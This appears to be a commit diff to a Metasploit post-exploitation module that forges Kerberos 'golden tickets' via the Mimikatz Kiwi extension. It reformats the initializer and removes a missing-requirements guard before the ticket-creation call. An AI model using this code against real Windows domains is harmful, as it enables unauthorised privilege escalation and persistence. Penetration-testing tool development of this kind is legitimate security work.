Reformat, remove unnecessary guard statement
parent
0e976041b7
commit
9670608380
|
@ -10,7 +10,8 @@ class Metasploit3 < Msf::Post
|
|||
include Msf::Post::Windows::Error
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'Windows Escalate Golden Ticket',
|
||||
'Description' => %q{
|
||||
This module will create a Golden Kerberos Ticket using the Mimikatz Kiwi Extension. If no
|
||||
|
@ -102,10 +103,6 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
end
|
||||
|
||||
unless user && domain && domain_sid && krbtgt_hash
|
||||
fail_with(Failure::Unknown, 'Not all requirements obtained')
|
||||
end
|
||||
|
||||
print_status("Creating Golden Ticket for #{domain}\\#{user}...")
|
||||
ticket = client.kiwi.golden_ticket_create(user, domain, domain_sid, krbtgt_hash, id, groups)
|
||||
|
||||
|
|
Loading…
Reference in New Issue